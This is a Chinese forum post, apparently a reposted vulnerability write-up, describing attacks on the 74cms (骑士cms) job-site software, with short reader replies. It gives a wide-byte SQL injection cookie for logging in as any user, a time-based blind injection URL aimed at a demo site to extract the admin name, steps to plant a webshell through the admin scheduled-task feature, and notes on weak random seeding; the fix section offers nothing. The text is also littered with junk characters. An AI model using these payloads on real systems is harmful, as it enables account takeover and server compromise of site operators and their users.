找回密码
 加入怎通
查看: 499|回复: 3

[SEM行业] 骑士cms注入及后台拿shell

[复制链接]
寻路者 发表于 2013-01-07 16:50:49 | 显示全部楼层 |阅读模式
0x1 任意用户登录. A: {# S# L) g& Y* i+ H5 [& T( I
) k& i, q1 K0 }9 w& c) W! t$ b& J
  0x2 盲注/ g: [/ i% [1 R% X4 q  Z5 Z- h
/ w. C9 B" O" i2 D, b( X) Q) `
  0x3 后台拿shell
* g0 o/ A1 t( ^" `6 e5 r$ L; l
  p2 y" S  e. _+ W  0x4 随机函数问题# E7 p' O$ v- f' W' k4 ^/ ~0 Q

/ ?9 P  X% n7 A/ \4 Q) d  详细说明:
5 I1 V) q) l5 |. E! o+ V. x$ Q5 W3 H+ I
  0x1 任意用户登录
8 u- W! b0 z+ p4 j6 O' j; n# I9 U! {
  user/login.php
# O* N) q4 w; _3 v7 i
; Z3 X7 h4 N9 E' I: w( Y/ Y/ q  elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])3 ~) C" m( N( z5 S! q
1 u6 u$ F8 r  f
  {
+ i' ^$ N8 b1 F0 @" a8 X; u- |" E7 O+ [* y* Z" a/ @- W
  if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))) b* @, o1 H6 }& A+ l' d, I3 f4 X  Z4 J
" _, K0 j; g5 L2 Z
  {5 `- T' G1 S# Y* z

5 |! w/ d1 S* i: Q3 P1 {  update_user_info($_COOKIE['QS']['uid'],false,false);
* n! Z2 [5 J5 V
2 _1 |) x8 s' w* M1 F; T  header("Location:".get_member_url($_SESSION['utype']));
- g. C. e* ]7 M% K7 a9 T
3 L8 L; d. C$ h# H2 d# j4 J  }- S. r: W  W! A4 o- ~

$ ~4 B0 {/ L, H& @4 @( c5 u0 G9 b. ~  else
7 l; d5 H) _( C, o  h$ o: p. p) V0 J; r: M
  {
& P, K0 _3 E! x: K7 d% r! w) s/ v# J! s8 N# |/ s5 E2 @
  unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);' R& Q! j1 i( b0 H5 C7 C
$ o7 V$ k( c- s; y" r
  setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
6 N/ V; A) B1 m% K) L4 f4 H$ S
  setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
5 ~4 Q$ U9 G0 U! p, }1 j4 H. z
5 x$ z' i* w( c  setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);5 ^7 A! \9 \# V  x' W: m' b6 q: `

; \/ ]# f$ v5 r" @  setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
/ b2 m* ^4 L' c/ {0 C
5 K; [1 `; h( k2 K& L  header("Location:".url_rewrite('QS_login'));
# O7 ?, I( ~7 I- ]# e3 o  w  n: F+ ~: e7 w
  }" a) i' w) f' b2 s# ~' |

; C6 x; G( S& K4 i  }
, I# D7 E. X2 C5 f" n7 b  k7 X# Z. T% L4 x) D  @" L
  include/fun_user.php; |9 c2 O, q7 a- H' K/ [# L
' f$ y6 u5 ?3 r6 n* c; m! ^
  //检测COOKIE
4 D; D/ }' B5 w3 _
9 H5 u& i9 H+ N' t  function check_cookie($name,$pwd){8 W' e- @+ e6 S+ P$ {% ^7 z* k

- @0 q4 s/ W* ~! j) O2 N  global $db;. D" z3 h2 X* u$ U7 ]1 d0 J' W
, c4 E# N5 u9 o% O3 T0 B: r4 Z
  $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
. i$ k, V" ^/ E2 H: r, P  D& _# V
" W2 P$ X. |+ B- G6 {* R% N  if($row['num'] > 0)
7 H# k# N8 @0 l9 ^: w1 n6 V
$ d' [6 H- S, V2 l/ H- z! G  {% e  i0 i6 T; B

3 M5 _$ i; q1 D) f0 `& \$ y  return true;
, D  C! @5 ]$ }, Q) i  U8 w1 ~# S3 M3 f2 R: _# D- X, Q4 ]4 S7 [" H
  }else{
! M+ A; j) z4 v* B+ L5 I. a. ~8 H' Z% x- L7 A
  return false;$ Q6 K  _- q1 {0 k( s# b
6 D2 H& v* C6 M5 v" ?0 x/ K
  }
  t: H2 O, k/ g. g! \; C8 R! h/ W' c( b. {: P! K) n
  }: m: l- ~' b' L/ h3 w

9 }9 [5 p/ V$ C) n' u* K  构造cookie如下; g- p- _( j' d: ^8 @
; Z7 O8 F5 j; ^6 t
  QS[uid] 2/ @8 \+ c  w5 x9 }- w
+ x! J/ s+ s- q. j& `7 m/ m6 S, Z
  QS[utype] 1
. ?# T: ?1 y+ H5 B  u& i2 x& M
4 j& j3 |( @& u# a1 j  QS[password] 111111111111111111111
8 L- n) X* z, E7 [
; J6 \" X+ X) ?5 h  QS[username]%bf%27 or 1=1 %23: Z7 ?0 u1 K) _% c' S- T! @

- r1 B  F% u" `  uid 为假冒用户的ID utype为用户类型password任意
' G, \7 {- M/ x* r: _1 E
  _  X8 F( V# Z$ D1 w, B  0x2 盲注& }) N( H3 R8 R

2 }: j+ H% c$ y  P' m9 c  http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%238 \. `, e1 }6 }; r$ B
5 Y4 |4 i6 F2 e5 ~
  上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面8 b3 L- b; g8 h! t: v

8 E+ A9 A9 Y* c7 |+ o% B7 h. G! K  0x3 后台拿shell2 ~/ h/ X1 J" F9 P" A6 w
% c8 X5 y( `8 p! W' G$ K4 O, s4 J9 ]
  1.先关闭csrf防御功能
6 Y* A2 c& G- Q! [: y# E1 B. q8 i/ }+ Y) C: O& t
  2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc
: n* B& j3 t' N5 \. W( Y# w: C8 L) J4 y, W
  3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc/ G* Z, V+ ^- m7 n

: E- J1 I" C9 p5 A+ o4 V1 A  4.然后执行
" G) }1 U! g3 Q+ \: }
/ t; ]3 n9 e4 m- N6 `, i1 c  0x4 随机函数问题(几乎可以无视,纯属个人YY)
/ \$ y$ c0 E  x7 N- ~
% X+ K5 _/ w/ J1 x  在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。
! p7 ~% V+ |) P$ y% X# n: f# R2 f1 W( m0 h
  这个$QS_pwdhash是由randstr生成: M/ d$ k1 V; z" i9 q, P1 q4 s

, V1 u* u0 j8 ]) O  function randstr($length=6)0 Y4 N! M3 G6 ]! N( n% r
+ D9 Y+ O2 z# _9 S) U' M
  {
7 U) f( P; B  Y7 @$ a
# S( b) j2 d+ r5 w5 z  $hash='';8 t3 l; F2 ]1 X! E9 |9 U% c
, C5 U0 }. j. L+ b3 P4 J; j" u
  $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';5 M) p# b5 a# `1 Y

: s- o( d- O' d4 Q! @! [  $max=strlen($chars)-1;
5 q' P0 c% [. `
8 C; l( \6 _; r' F! A3 Q& t% Y  q  mt_srand((double)microtime()*1000000);
6 W5 [; ]5 {8 f
, H, T1 t1 ~9 Y9 i  for($i=0;$i<$length;$i++) {$ V4 Z+ D$ I; a/ v1 o
( H% x) c* c: ~1 e% ^
  $hash.=$chars[mt_rand(0,$max)];$ ~& z0 Z3 B) Z2 @% E

9 d0 k- s7 s/ R7 [$ k8 G  }2 b1 ~& g/ |8 \

! R! \+ a, I8 H( {& U# H  return $hash;
+ a" [% G) P2 H9 m- f. C9 h( T3 i- T% e% n( D
  }
) I) t7 z0 [; e8 G: N
6 m+ S. Q6 v0 j8 M: r  生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼); m/ U. F! `; l% O- M6 M
, ]' {0 J8 ?, G; |. R+ O0 }
  漏洞证明:
3 D+ G3 w  S4 \* R8 s: k- R* b( `7 `; D7 }
  修复方案:" d: q1 a! v2 p/ x6 q2 l

' Y, L# @: S! \, a3 g  do it yourself~
3 y3 G: N/ g4 E& o2 L! ~* Q
% h4 u& @- ^; t" |4 k6 [解决一切网站安全,湖盟云防火墙:hnhack.com

暂时无法加载帖子列表

回复

使用道具 举报

leonseo444 发表于 2026-01-07 03:59:27 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

彼岸花 发表于 2026-03-13 13:46:09 | 显示全部楼层
刚好遇到类似问题,看完这个帖子心里有底了
回复

使用道具 举报

知足常乐 发表于 2026-05-25 10:07:43 | 显示全部楼层
说得很实在,没有夸大其词,这种真实分享太难得了
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-7-27 16:26 , Processed in 0.036255 second(s), 26 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表